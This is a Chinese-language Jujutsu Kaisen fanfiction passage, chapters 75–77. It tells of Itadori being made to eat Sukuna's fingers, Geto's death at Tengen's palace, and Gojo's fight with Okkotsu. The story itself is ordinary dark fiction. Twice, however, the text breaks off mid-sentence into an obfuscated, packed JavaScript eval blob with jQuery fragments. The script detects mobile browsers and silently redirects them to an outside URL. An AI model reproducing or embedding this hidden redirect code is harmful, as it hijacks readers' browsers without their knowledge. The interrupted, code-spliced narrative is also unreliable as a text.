“至于天元是什么人......你既然已经私下调查过盘星教,想必对它应该也不陌生了吧?”羂索想过要用什么样的称呼来指代自己的老朋友,不过想到它如今可能拥有的滑稽模样,最终还是选定了“它”。
虎杖悠仁抿唇,踏入了黑暗的甬道。
拥有不死术式的古老术师,天元用无数结界覆盖了这个国家,而它本人就是这些结界的中枢。夏油杰名下的教会原本属于盘星教,他们就是一个狂热崇拜着天元的非术师团体,这些都是虎杖悠仁最近才调查出来的事。
甬道中的温度比外面更冷,骤降的气温让人忍不住牙齿打颤。虎杖悠仁看向甬道两侧向上生长的诸多枯木,它们似乎真实存在着,又好似只是他幻觉中的虚影,当他想要更加仔细地观察那些看起来生机勃勃却没有一片叶子挂在枝头的枯木时,领路的羂索停下了脚步。
“这里是忌库。”他仿佛一个称职的导游,无视了倒在血泊中的两个忌库番,将手放在了笼罩于忌库之上的结界,轻而易举地突破了它。
库房里琳琅满目摆满了散发着各种气息的咒物和咒具,不少东西看得虎杖悠仁有些反胃,刚消停一会儿的肚子又开始在诅咒的刺激下翻腾了起来。
他看到了泡在溶液中的婴儿尸体......也许称呼它们为胚胎更合适一些。
羂索随手将前三罐装入怀中,一边解释道:“咒胎九相图,和宿傩的手指不同,这几个咒物里面寄宿着的是咒灵——就当是咒灵的咒力吧。”
他来到了被重重封印压制着气息、可仍旧有邪恶的咒力不断外溢的角落,找到了整个忌库中最宝贵的东西。
虎杖悠仁接住了他扔来的盒子,打开之后看见了被强迫吞下的特级咒物本来的样貌。
只一眼就让他瞬间反胃。宿傩的手指和羂索曾在他生日时寄给他的手指饼干一模一样,紫红色干皱的皮肤、根部还有象征着诅咒的嚎哭人脸、锋利的指甲让人怀疑在吞下它时会不会被直接划烂了肚肠......
与羂索相处的每一分每一秒都很煎熬,虎杖悠仁只是看起来接受了这一切而已,被时时刻刻提醒着“你的人生只是别人棋盘上随意操纵的棋子”这一事实总会像蜂针一样刺痛着他。
“吃吧。”羂索似笑非笑。
75. 第 75 章
简直就是怪物。
一年级的三个人已经被迫分散各处,乙骨忧太以一敌三仍旧游刃有余,身上的咒力仿佛不要钱一样被源源不断地注入那柄锋利的咒具当中。
米盖尔就没有他这边这么轻松了,和五条悟对战的形势几乎完全一边倒,没被揍得抬不起头来都算他的身体素质天赋异禀。
既没办法留在原地扛住五条悟和【无下限咒术】的进攻,也不能直接撒手就跑,米盖尔从没这么憋屈地战斗过。
手中的特级咒具黑绳表面接触到不可侵空间的部分像是未燃尽的烟蒂一样发着微弱的光,编入黑绳的诅咒每一次扰乱【无下限咒术】都会相应地减少一部分。
如果失去了能够扰乱术式的能力,黑绳就只是一根再普通不过的绳子。
“我祖国的术师,可是需要几十年才能编成这样一根绳子啊。”米盖尔藏在墨镜后的双眼警惕地注视着五条悟露出的那一只眼睛。
极具攻击性的苍蓝色,简直和草原上最漂亮的天一样遥远又冰冷。
这就是传说中的六眼......五条家独有的特异体质,能够识破对象的术式、探知咒力。有这双眼睛的加持,五条悟的咒力操作精细到能够干涉原子的级别,由此完美掌握的【无下限咒术】完全支配了战场。
“我赶时间,”白发咒术师语气罕见地带上了一丝怒意,“谁管你啊。”
要是我死在这儿的话就变成咒灵去找你,夏油。米盖尔在认真起来的六眼术师手中苦苦挣扎,特化节奏进攻的术式在没办法正常使用【无下限咒术】的五条悟面前居然都不能占据优势。
连贯动作中突出的强拍和瞬间的停顿制造出了一个个“点”,这便是米盖尔的术式镌刻在肉|体上的节奏,借此强化身体素质与战斗能力。也许【祈祷之歌】在最开始的确生效了,但在看穿一切的六眼面前,所谓势均力敌也只是某一方的错觉而已。
米盖尔已经被打到枷场姐妹所在的区域。乙骨忧太不想离五条悟那边太远,但是围在他身边的三人又让他狠狠地闭上了眼睛。
米盖尔先生撑不了太久了。
“抱歉,”他习惯性地先道歉,但挥刀的动作却与他谦逊的语气截然相反,似乎他终于将封印着刀刃的无形刀鞘扔掉了一般,“我得赶快过去了。”
流光闪烁,闪亮的刀刃裹挟着比冷风更凛冽的刺骨寒意,以无法抵抗的姿态贯穿了企图阻拦他的三人最后的抵抗。
临时搭建起来的医疗部内,不断有受伤的咒术师被辅助监督们带到家入硝子身边。一到这种时候咒术师们的后勤支援总是显得捉襟见肘,毕竟家入硝子只有一个人,能使用反转术式治疗他人的术师少之又少。
“家入小姐!”
身穿白大褂奔走在大厅中的女性闻言挤出时间抬头,看到了被四五个人一起抬进来的三个一年级学生。
带他们回来的辅助监督额头冒汗却没有空闲的时间擦掉它们:“情况有点奇怪,我一回头就看到他们三个倒在地上,可是我什么声音都没听到......”
家入硝子的眼眶下是积攒了长久疲劳显现出的青黑,她皱眉迅速查看了学生们的情况,在发现他们并无大碍之后稍微松了一口气:“送去里面,等他们醒来之后就让他们自由行动吧。”
都是一些很容易治疗的皮外伤,唯一严重一些的就是导致他们无法行动的那一击,但也能看出袭击者很好地控制了下手的力道。
“啧,到底在搞些什么啊,夏油。”她的质问只化作忙碌嘈杂的大厅中的一缕杂音,除了她自己,没有其他人听到。
距离这里不远的战场上,伊地知洁高在那道暗红色的光芒从五条悟的指尖发出后迅速做出了撤离此地的决定。连“赫”都用上了,而且看起来下手越来越重......以他对五条悟的了解,这是白发咒术师难得生气的表现。
至于眼前这两个和高专学生们差不多大的女孩子......尽管年龄不过十五六岁,但他已经看见最少有四个辅助监督死在了她们手上。在善恶都分不清的年纪却已经让双手沾满了鲜血,伊地知洁高只是为她们感到惋惜。
枷场美美子说:“米盖尔要输了。”
“那家伙怎么回事?!强得太离谱了吧?!”
“菜菜子!我们得走了!”
刚才站在她们对面的辅助监督已经逃走了,如果继续留在这里肯定会被最强的战斗波及进去。
夏油杰对所有家人的要求都是在感觉自己要死了的时候放心大胆地逃跑就可以了。
枷场姐妹从伊地知洁高离开的方向追了上去,撤离这片区域的时候,枷场菜菜子看到了从远处天台上经过的乙骨忧太。
枷场美美子的臂弯中夹着娃娃,系在娃娃脖子上的绳索垂落,在跑动的过程中打在大腿上。
“我们接下来要去做什么?”
枷场菜菜子看了一眼手机:“谁知道啊!反正遇到人就把他们吊起来杀掉,就这样坚持到忧太离开吧。”
“......”
天台上,乙骨忧太和五条悟相对而立,米盖尔已经在黑发少年抵达的那一刻爽快利落地逃走了。
“五条先生,”乙骨忧太沉下表情,强迫自己握住刀的手不要胆怯,“抱歉。”
五条悟干脆将那双苍天之瞳完整露了出来,伸手指了指乙骨忧太:“老实说,我现在真的很火大。”
黑发少年横刀在胸前,摆好了起手式。脚下的阴影翻涌着,一直兴奋地等待着召唤的白色式神终于得到了许可,迫不及待地来到了乙骨忧太的身边。
“夏油杰去高专想做什么?悠仁又在哪儿?那孩子不会去京都了吧?”
“......我不知道。至于悠仁,他还在家里。”乙骨忧太的神经逐渐紧绷起来。虽然看起来他们只是像过去的每一次见面一样普通地聊着天,但从五条悟身上散发的咒力中能够感受到极具压迫感的锐利。
“真伤脑筋啊,”五条悟揉了揉后脑,叹了口气,“净给孩子们灌输一些危险的想法,果然那家伙的脑子真的坏掉了吗?”
乙骨忧太沉默了一小会儿,里香正一声声呼唤着他的名字。
“不,不是这样的,”他说道,再抬眼时浑身咒力升腾,张扬又耀眼,“是我自己想来的。”
五条悟看穿了他的术式。
六眼能够精密地观察咒力的流动,所谓看穿术式其实是根据对象运行术式时身上的咒力流动大致得到对方的术式信息,所以在乙骨忧太决定使用术式的一刹那间就被六眼完全地看透了。
居然是模仿与复制吗?配合上天生的庞大咒力量,的确是最适合乙骨忧太的术式。
“哈哈,既然是你自己想来的,”五条悟握拳,直接将“苍”的吸引之力附加在了拳头上,“稍微来试试也无妨,不过你没有太多机会哦,忧太同学。”
乙骨忧太很明白。五条悟有【无下限咒术】带来的绝对不可侵防御,凭他自己的力量根本没办法破解这个可怕的术式,连让五条悟受伤都只是痴心妄想。
只要被五条悟结结实实地打中一下,自己大概就要退场了。他只能模仿来米盖尔的术式,没有黑绳的助力,双方实力的差距就是如此之大。
“要上了,里香。”
挑拨他的怯懦,让卑劣的一面尽情展现出来,任由摇曳的诅咒之火被鼓动着熊熊燃烧——比夜色更深的黑色瞳孔骤然紧缩,乙骨忧太向现代最强咒术师发起了不自量力的挑战。
如果当真有掌管命运的神明在天上看着的话,祂一定在笑着吧?
嘲弄地、戏谑地、冷漠地笑话所有人。
虎杖悠仁吞下了所有的手指。
他突然很想吃还在村子里时乙骨忧太拜托便利店店主给他们带回来的蛋糕,他现在居然无比想念奶油上用劣质香精调和出来的果酱。
他捂着嘴巴跪在地上干呕,胃里却早已空空如也,只呕出了一些透明的东西,眼角被逼出了生理性的泪水。更令人难以忍受的是遍布全身的、属于两面宿傩的邪恶咒力,就像他已经成为了诅咒之王的容器一样,这种感觉总让他下意识地厌恶着此刻完全不像他自己的自己。
哪怕留在他身上的只是摄取咒物后留下的残秽,也依旧令人恶心。
羂索满意地点了点头。虎杖悠仁果然是完美的容器,宿傩的手指是拥有剧毒的特级咒物,如果是普通咒灵或者容器吞食一根就已经称得上具有耐受性了,而虎杖悠仁在一次性吞下六根之后仍不受毒性的影响。
“把手给我。”羂索迎着虎杖悠仁不解和防备的目光牵起了他的手,拉着仍旧有些反胃的粉发少年继续向甬道深处前行。他们乘坐尽头的一台升降机向下,直到此时羂索依旧没有松开手。
虎杖悠仁被这莫名其妙的行为吓得浑身汗毛直竖,想要拒绝却又没办法真的挣脱出来,只能强压着不断疯狂警报的直觉尽可能调整自己的呼吸。
他下意识瞥了一眼羂索,却被他脸上的表情慑住了。升降机下降时一道一道扫过他们脸上的灯光像是将他脸上的面具换了一张又一张,每一次有光源闪过,虎杖悠仁都能看到羂索的笑容扩大了几分。
带着某种狂热。
他不知道过去了多久,直到下坠伴随着机械铰链卡死的声音彻底停止,通往某个地方的通道呈现在他眼前。
这条通道的尽头能够看到一些光亮,只不过虎杖悠仁还不清楚那到底是什么地方。
似乎有人在通道尽头的出口处移动,可没等他仔细看清那个人的身影,羂索忽然捂住了他的双眼。骤然失去视野让虎杖悠仁下意识地想要反抗,但羂索死死钳住了他的手臂,力道深入骨髓。
“接下来你要按照我说的去做。”
虎杖悠仁沉重地呼吸着,羂索的声音就在耳边,视野一片漆黑,他能听到自己狂跳的心脏声,震耳欲聋。
手臂被人抬了起来,他像是失明的羔羊,被人引领着走上了自己的断头台。恶魔还在耳边说着甜蜜而蛊惑的话,引诱着什么都不知道、什么都不明白的可怜家伙将自己的头颅伸了出去,亲手推动机关,让铡刀落下。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378214|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他听见了羂索带着笑意的声音。
“解。”
——
时隔十年再度旧地重游,夏油杰的脚步停驻在了与当年一模一样的地方。
操纵数量庞大的低级咒灵逐一辨明这1000多扇门扉的真伪,从中找出唯一真实的入口,放肆地闯入了通往薨星宫的甬道。
之所以还能找到与当年完全相同的地方,是因为地上的那摊血迹并没有被人清理干净,形状、颜色没有任何变化......这大概是受到了天元结界术的影响,毕竟没有血迹能够在从人体流出十年之后仍旧残留着鲜红的颜色。
就好像那个天真的少女依旧躺在那里一样。
夏油杰只是沉吟了几秒,就不再看向地上的那摊血迹,遥遥望向贯穿了筵山地下空间的巨大御神木。御神木下即是天元所在的本殿,只不过隔在他和本殿之间的还有无数由空性结界构成的迷宫,只有受邀之人才能穿越这片区域,抵达本殿的入口。
显然这次夏油杰的不请自来没有得到结界主人的认可,作为不速之客的他没办法凭借自己的力量通过这片迷宫。
走到如今这一步,他倒也没什么着急的意思了。
能够帮助他跨过这片迷宫的人还没来,在此之前他有足够多的时间梳理自己的想法。
下一秒,他发现自己已经来到了一片纯白的空间。不论向上还是向下都是无限延伸的白色,夏油杰神色不变,在另一道身影出现在这片空间里的瞬间便看了过去。
“......天元大人。”
不死的术师、全知的术师、天元大人......亦或是直接根据它如今异形的面貌随便怎么称呼,主动现身的天元挥手道:“欢迎你来到薨星宫,咒灵操使。”
“呵,‘欢迎’吗?”夏油杰打量着天元将自己拉入的这个空性结界,像它这样的结界术高手能够自由改变空性结界内的结构,夏油杰估计眼前的这个也不是它的本体,而是由空性结界创造出来的虚像罢了。
“你似乎并不意外我会来找你,”夏油杰说道,“果然那家伙是你认识的人?看来她嘴里也不全是谎话。”
身体已经完全异形、拥有四只没有瞳孔的眼睛的天元了然地说:“你果然见过羂索。”
名字没有任何意义,他们谈话的对象指向了同一个人。
“她给我提供了一条很有意思的路。”夏油杰说。
自从夏油杰在孔时雨的帮助下接手了盘星教,近十年的时间里可以说和咒术界相安无事。然而就在半年前,总监部针对教会的试探、调查突然变得露骨了起来,他的家人们在外出解决委托的时候还受到了家族术师的围剿......夏油杰看得出那是加茂家的术师。
当有人大胆到伪装成非术师混入教会却被发现并直接处死后,夏油杰得知总监部已经将剿灭教会的任务下达给了包括禅院和加茂家在内的咒术世家。
那个女人就是在那时出现的。
“看来她和你说了一些事情,”天元抱臂,从那张非人的脸上看不出任何表情,“你应该知道她不是那么诚实的人。”
“她一看就不是。”夏油杰耸肩。但从天元对待他的态度来看,至少在“现在的天元是【咒灵操术】的术式对象”这一点上并没有说谎。
2006年,夏油杰和五条悟护送星浆体来到薨星宫与天元同化的任务失败之后,九十九由基曾告诉他不用再担心同化的事,似乎那时还有其他的星浆体,所以这件事就被陷于苦夏的他彻底抛在了脑后。
但是那个女人——羂索,她说天元的同化彻底失败了,并不存在有其他的星浆体补充了天内理子的空缺的事实。
同化即是重启,是拒绝进化。这样的矛盾构筑了不死术师隐居薨星宫度过千余年的可能性,而失败则意味着完全进化。
“同化失败后我的衰老速度加快,‘自我’已经堙灭,天与地成为了新的‘天元’。”天元如此向他解释道。
也就是说此时此刻,位于薨星宫本殿内的、真正的天元已经成为了更加接近咒灵的存在,被纳入了【咒灵操术】的术式对象中。
真正打动夏油杰的是羂索提出的方案。借由天元设立的、覆盖全国的大小结界,完成一次全人类与天元的同化。使这一点能够成为事实的自然是【咒灵操术】,而同化完成后,全人类将进化成为术师,甚至有成为超越术师存在的可能性。
——不过,这只是我个人的一种猜想,毕竟谁也没有真正达成过这个目的,至于同化后究竟会发生什么,谁也不知道。
夏油杰还记得羂索说出这些时的表情。
当一个迫切需要解决问题的人看到疑似正确的答案时,他的心思总是最活跃、最不确定、也是最狂热的。因为不知道究竟哪个选项才是对的,所以才会选择赌一把吧?
更何况,这个答案看起来太过诱人,以至于夏油杰下意识地为它建立起了一个扭曲的逻辑,无论如何歪曲也要将这个答案变得正确——他必须坚信、也只能坚信这个答案是正确的。
76. 第 76 章
在这片纯白的空间内,天元继续说道:“羂索提出的方法的确有可行性,但不能忽略其中的问题。我的进化意味着‘个体’的消亡,能够依旧保持形体和理性的原因是我的结界术。但与我同化的人类一旦进化,失去了个体边界,只要有一个人诞生了某种恶意,整个世界都会崩溃。”
恶意的传播只需要一瞬。
夏油杰并没有被这样的回答动摇,仿佛类似的权衡早就进行过无数次:“人类不需要进化到这种地步。我希求的是一个只有术师存在的世界,至于像你一样因为进化而令自我意识超脱于肉|体之外......‘天元’有一个就够了。”
全知的术师脸上居然明显地露出了一个可以被称之为疑惑的表情:“依照你的说法,你想要借由同化的方法令全人类拥有咒力——姑且假设你能够做到这一点——你如何中断必然发生的进化,让同化的进程仅仅停留在你希望达到的终点?”
夏油杰:“你才是全知的术师,天元大人。而且,未必我所希冀的终点就是你认为的那一个。”
毕竟他们对“人类”的界定不同。从始至终夏油杰想要做的就不是“启蒙”,而是“筛选”。
开启同化后,身为非术师的猴子们会得到进化,如果进化能够停留在“成为术师”,他也能接受这样的结果。如果进化会继续下去,如天元所说成为超越术师的某种存在——无论那是意识的共感还是人格的融合,是集体失控还是被恶意污染直至彻底毁灭——这正合夏油杰的心意。
术师不会受到同化影响。唯有这一点,羂索给出了肯定的回答,而夏油杰也对此坚信不疑。
天元以沉默回应。看来他们都无法说服对方,而信任又是最奢侈的东西。
在它隐居薨星宫的千年里,夏油杰并非第一个走到它面前畅谈理想与改变世界的狂徒。也曾有人痛斥它选择剥夺了他人的人生来维持自我,五百年一次的同化至今已经让它夺走了两个星浆体的生命,如果再加上死在参道上的天内理子以及无数未曾抵达薨星宫便已陨落的孩子们......它花了太久才像适应了四季轮回一样,将自我进化视作理所当然的事。
也许这次谈话之后,它也该好好思考如何面对这个加速变革的世界,也该好好想想应当如何交付自己那吝啬的信任。
“......那孩子已经来了。”
薨星宫的本殿拒绝为咒灵操使敞开。夏油杰的脚边就是已经深深渗入地面的血迹,在他准备迈步继续向前强行通过迷宫时,却在身后感知到了不应存在于世的咒力。
那是萦绕着纯粹恶意的恐怖咒力,尽管夏油杰并没有近距离接触过,可此时此刻闯入大脑的只有那个名字——
“两面、宿傩?!”
“恭喜你,答对了。”轻快的拍手声在耳边突兀地响起,夏油杰猛地环顾四周,发现自己来到了一处空旷的房间。
夏油杰定睛注视着房间内的第二位访客,语气冰冷:“你们古代术师都喜欢这么玩弄空性结界吗?”
毫无疑问,他再一次被拉入了某人构建出来的空性结界,甚至这里还贴心地被构造成了与他在教会的房间一模一样的布置。
羂索悠闲地踱步:“毕竟是值得自满的技法,在合适的时候当然是想要拿出来炫耀一番的吧?尽管......不过也没什么,让我们继续吧。”
夏油杰挪开眼睛,这个空性结界连窗外的夕阳都模仿得惟妙惟肖,让人分不清现实与幻象的边界:“你是什么意思?”
“......”羂索似乎在忍耐着什么,他脸上的表情让夏油杰察觉到了一丝异常。
不。不正常才是正常的。自从选择转身离开之后,自己所做的一切不都是如此吗?
“噗,哈哈!”
“......你笑什么?”
连通虚无的阴影已经出现在了夏油杰的身后,高等级的咒灵正扭动着身体从影子里爬出来。
羂索摆摆手,笑意仍未从脸上完全褪去:“没什么没什么,不要在意。”
他取下帽子,额头上的缝合线露了出来。这具身体本身没什么咒术天赋,术式也平平无奇,连让羂索尝试性地使用一番的欲望都没有。
“之所以说这个结界是让我自满的技法,自然是它与普通的空性结界不太一样。天元是公认的结界术大师,但我想唯有这个结界可以超越它,”羂索的声音沉了下来,带着一点莫名其妙的、让人昏昏欲睡的说教腔调,“天元可以精妙地操纵空性结界的结构,它设立的诸多净界甚至能够增强范围内其他术师结界术的力量,所以才会有那么多人认为天元的存在对咒术界来说不可或缺,觉得只要离开了天元的结界,国内的咒术防护就会随之失效。”
他清了清嗓子:“说远了,我的这个结界与你刚才体会过的空性结界不太一样。”
夏油杰皱眉。
“在这个结界里,时间是不会流动的。”羂索嘴角的弧度扩大,似是真诚地向夏油杰炫耀着这个技法的精妙,尽情欣赏着咒灵操使疑惑不解、强忍震惊又找不到头绪的滑稽模样。
“什......”
“向别人说明解释这件事的确挺让人上瘾,也许我应该尝试一下教师之类的职业,”羂索打断了他的话,摊手说道,“两面宿傩,或者说继承了诅咒之王一部分力量的孩子......他很特别,不是吗。”
骤然袒露的恶意让夏油杰暴起反击,能够创造“不回答问题就不能离开”的空间的咒灵歪着脑袋张开大嘴,想要在羂索构造出的空性结界中开辟出自己的领域。
然而一切都发生得太快。
斩击已至。
它没有形体,看不见咒力奔流的轨迹,仅有空气中轻巧又足以刺痛灵魂的一声,“嗤”。
仿佛绘制在绢布上的世界被裁衣剪从头到尾地切断,地面上的浮尘被风压挤向两侧,落下的天光也被某种看不见摸不着的东西搅乱了一瞬。
就像一次轻微的震颤引发的雪崩,轻飘飘的雪粒组成了不可阻挡的洪流,纯白的雪幕埋葬了一切。
斩击锐利而无形,仅仅眨眼之间,铡刀已落至颈侧。
虎杖悠仁引颈受戮。
飞溅的鲜血与深入骨髓的疼痛唤醒了夏油杰对这个地方的另一种回忆。曾经他也是在这里被伏黑甚尔连带着咒灵一起斩落,如今连疼痛的感觉都一模一样。
他多久没受这样的伤了?
倒下之前,夏油杰的目光穿透了参道的拱形入口,游过满是黑暗和灰尘的长长甬道,看向当年夺走天内理子生命的那颗子弹射来的方向。
这道被羂索引导着激发出来的斩击就像是诅咒之王本人亲自发出的一样,也像是那颗子弹一般不可理喻。
男人的手搭在粉发少年的肩膀,看清他嘴巴里说了什么的夏油杰瞪大了双眼。
“犬子不才,承蒙关照。”
那孩子——
幸好那孩子还被捂着双眼。
夏油杰稳住了自己的身体,抬手捂住了从侧颈开始撕裂了半个身体的巨大创口,滚烫的血液从指缝间汩汩流淌着,汇入脚边陈旧的痕迹当中。
这是一场彻头彻尾的谎言。
羂索放下手,信步向薨星宫的方向走去,张开双臂:“不,那的确是能够实现你理想的最佳方法。”
“理想”这两个字被他咬得极重,只可惜现在没有人能够毫无波澜地听完他的话。
悲切的怒吼从甬道的另一端传来,羂索已经迈步来到了天光之下——此时太阳已经落山,身在筵山地下的御神木顶端落下的天光也只是由结界术制造出来的奇迹。
“——你、你这家伙!!!”
虎杖悠仁撕心裂肺的声音在狭窄的通道里被撞得粉碎,落入羂索耳中反倒如同雏鸟叽喳一般吵闹:“——到底想要干什么啊?!!!!”
他抱紧自己的身体,重重地跪在了地上,指甲刺破了皮肤,唯有疼痛才能令他从灵魂也被扯碎的失魂落魄中保持清醒。
无论怎么喘息都没办法吸入足以维持生存的氧气,虎杖悠仁扬着头看向走入光中的那个男人留下的背影。
他犯下了绝对不能自我原谅的过错。
他开始后悔,为什么自己在来到薨星宫之前没有下定决心杀死自己,为什么在羂索身后发出的那道“解”那般孱弱。为什么?为什么?!!
后悔是什么味道的呢?那种沉重、黏腻、苦涩的感觉紧贴着皮肤,比衣物更加亲密地缠绕着他,让他在赖以生存的空气中溺毙。
虎杖悠仁开始后悔为什么自己没有在那个雪天里死去。
“......”
可怕的悔意让他开始迁怒于乙骨忧太,这种在极端情况下无处可去的腐烂想法终究开始侵蚀心中美好的那部分宝藏。虎杖悠仁觉得这是惩罚,不管是神也好,还是过去的自己也罢,为了明明已经选择参与战斗却迟迟不肯找到能够说服自己的理由的惩罚。
他为自己的怯懦和犹豫付出了代价。
知道它一定非常残酷,一定是不可接受的事,可却依旧抱着“到时候就会明白的吧”这样随意的心情继续前进,尽管心中早就明白总有一天会发生,可还是一直逃避到了它变成现实、残忍地打碎他躲起来的世界的时候。
夏油杰放下了手,这种程度的失血哪怕用手捂住伤口也无济于事。理想......他早已决定好了自己要走的路,并且已经为之拼尽全力。
“那也是......你要做的事?”
血一直在流,喉咙似乎也被打坏了。
“算是一个必然经历的过程吧。不过我对创造一个只有术师的世界,或者不存在咒灵与诅咒的世界不感兴趣。”
羂索堪堪踏入光中,侧头回答道。
狼狈的诅咒师低下头:“是吗。”
映入眼帘的是新旧两滩鲜血融在一起的荒诞景象,似是不想让自己死前如羂索的心意那般滑稽,又或许是心绪使然,夏油杰抬起眼睛,看到了同样绝望地看过来的虎杖悠仁。
“夏油、先生......”
夏油杰听不见少年在说什么,不过他猜测大概是在叫他的名字吧。
琥珀一般的眼睛已经失了色,近乎麻木地注视着死亡。
夏油杰喘息着,感受到了死亡冰冷的刀锋架在了自己的脖颈,舔吻着致命的伤口......他已经拼尽了全力。所以从不后悔。
“如果你有可以托付遗志的人,倒是能......居然还能站起来?”羂索看着夏油杰重新站起身,象征着【咒灵操术】的阴影在他身后逐渐蔓延、扭曲,形成了一个巨大的漩涡。
被漩涡碾碎的不止有这十多年里吸收的各种咒灵,还有名为夏油杰的尸体。梦想破碎的刹那,夏油杰也已经随着他的理想与大义一同死去。他从不要求自己的家人们像他一样远离一切与猴子们有关的事物,一如他从不曾奢望有人能够继承他的遗志
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378215|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,完成未竟的理想。
死亡之后,他重获新生。
摆脱了名为“夏油杰”的枷锁,让过去的选择随着漩涡的旋转而一同消散。至少在真正的死亡降临前的最后一小段时间里,让他舍弃一切重新来过,做出一生一次、不会后悔的选择吧!
被困在以人生为名的游戏中却无法倒档重来,人类就是这样可悲的生物。
“......极之番,”染血的袈裟落地,散乱的发丝被颈侧涌出的鲜血黏在了皮肤上,将剩余储存着的所有咒灵全部投入进去,“漩涡。”
杀死羂索,就会彻底埋葬“夏油杰”的理想。
男人面上的笑容消失了,从身后传来的咒力波动和眼前集结的恐怖集合体将他完全夹在了中间。
那孩子还是生得太强壮了,也太过顽强了点。
仅仅眨眼之间,虎杖悠仁就已经跨越了足够长的甬道,极近距离爆发的超级重压径直打在了羂索的身上,哪怕用相同的术式来应对也有些捉襟见肘,更不用提虎杖香织的术式在顺转使用时咒力输出效率极不稳定。
“悠仁——”羂索承受了太多的压力,双脚所在的地面寸寸龟裂,与他血脉相连的粉发少年死死固定住了他的身体,鼻腔和双眼已经淌出了鲜血。
脖颈间垂挂着木制勾玉的红绳被磋磨断开,勾玉一路坠落,被衣服的内兜接了个正着,命运般地和小心保存的御守贴在了一起。
无数咒灵融为一体形成的高密度咒力攻击已经准备完毕,狂风卷走了沉积多时的浮土尘埃,薨星宫的主人依旧沉默不语,如同身后贯穿整个地下空间的巨大御神木一样静静屹立在那里。
只是看着。
虎杖悠仁已经决意在这里死去,而临死前唯一的想法就是要让“妈妈”和自己一起去死。
这是拯救自己、拯救所有人的唯一方法,除此之外他没办法看到达成完美结局的可能性。
忧太肯定会非常生气。
但是......抱歉啦。他必须得做件正确的事才行。至少只有这件事——
虎杖悠仁现在只想大喊大叫,叫人别管他了,随便怎么样都好,让自己带着“妈妈”和他的阴谋一起下地狱吧!!!
饱和的咒力攻击将他笼罩进去的时候,除了体表被灼烧的感觉之外,他似乎还听到了熟悉的叹息声。不是来自身边的男人,而是随着咒力的洪流一同传入耳中,如雷鸣般在耳畔炸响。
他瞪大了眼睛。
——
禅院真希坐起来的时候迅速扭头去找自己的同伴们。熊猫因为有哥哥姐姐们的核心在所以醒得很早,狗卷棘的喉咙在家入硝子的治疗下也已经恢复得差不多了,这时正坐在一旁的椅子上看手机。
“......这是已经结束了?”
狗卷棘想了想,点头回道:“鲑鱼。”
禅院真希在狗卷棘身后不远处看到了几个熟悉的身影,指了指那边问:“为什么七海先生他们都过来了?”
“咱们被打倒后不久京都那边的战斗就都结束了,诅咒师们一起逃跑了呢。至于那边的话,”熊猫挠挠身体,“那个家伙被悟揍得很惨,带回来的时候一直在吐呢,似乎是被附加了‘苍’的拳头狠狠教训了一顿。新田小姐的弟弟帮忙用术式固定了他的状态,但是因为本人太危险所以叫来七海和日下部看着他。”
乙骨忧太觉得肚子里翻江倒海,被附加了“苍”的吸引之力的拳头击中的感觉让人无法忍受,偏偏又被施加了“能够保持现在的状态”的术式,导致他哪怕落败也没能如愿像其他诅咒师们一样逃跑,被五条悟丢到了咒术师们的临时集结点看管了起来。
他现在手脚脱力,有人趁着他无法反抗的期间用咒符封印了他的双眼和双手,咒力的提取变得凝滞了太多。
没关系的。只是咒力的提取被限制了速度,封印并不牢靠,而且施加在身上的术式总有结束的时候。他看不见眼前的景象,只能听到有人一直在抱怨着“太麻烦了”,还有人在说“请你认真一些”的声音。
里香。
乙骨忧太呼唤着它的名字。
“那五条老师呢?”禅院真希问道。
狗卷棘回了一个“你知道的”眼神,熊猫接上他的话:“悟把那家伙丢过来之后就赶回去了。如果夏油杰真的去了高专,也只有悟能阻止他了吧?”
“......鲑鱼。”狗卷棘认同了熊猫的说法。
五条悟凭借“苍”的吸引之力跨越了不短的距离,来到了笼罩在高专之外的“帐”的上空。
“还真是大手笔啊。”突破这个“帐”并不困难,只是高专的情况比他预想得更糟糕一些。一道几乎贯穿整片森林的冲击痕迹还残留着他绝不可能认错的残秽气息,追踪源头去看的话,似乎是从山体底下斜着冲破了地表留下的恐怖痕迹。
是从薨星宫,或者说极接近薨星宫的地方发出的咒力冲击。
然而那边已经感知不到有任何咒力气息存在,五条悟落地后向与之相反的方向走去。
随处可见驻守在高专的辅助监督和咒术师的尸体,五条悟一律无视了过去,穿越训练场,走入覆盖着朱红鸟居的石阶路,果不其然在通往地下的入口前又见到了几具尸体......以及大量的鲜血,不免让人怀疑那人是不是已经流干了全身的血液才能在地上留下如同用血液作画一般的景象。
在他去过无数次的大门前,他终于找到了夏油杰。
77. 第 77 章
他来得太晚了。
从横贯半个身躯的伤口中流淌出的血液已经快要凝固,五条悟沉默着,六眼看清了一切。
两面宿傩的咒力?
他抬腿越过夏油杰的尸体,踹开了半掩着的大门。咒术总监部已经被全灭了,老头子们的尸体还热乎着,他虚虚地扫视了一圈,随即回身蹲在了靠着墙的尸体旁边。
周围没有咒灵暴走的痕迹,死前已经将所有的咒灵都放出来了?从薨星宫门口的那个夸张的痕迹来看,那大概就是用所有的咒灵搓出来的咒力大炮吧?
“......”
“............”
只是一具尸体,没什么好看的。
五条悟这样说服了自己,开始思考两面宿傩的咒力从何而来。高专的忌库里倒是保存着几根宿傩的手指,不过都有这样的斩击出现了......难道是两面宿傩受肉了?
“‘苍’已经没办法更快了啊。”
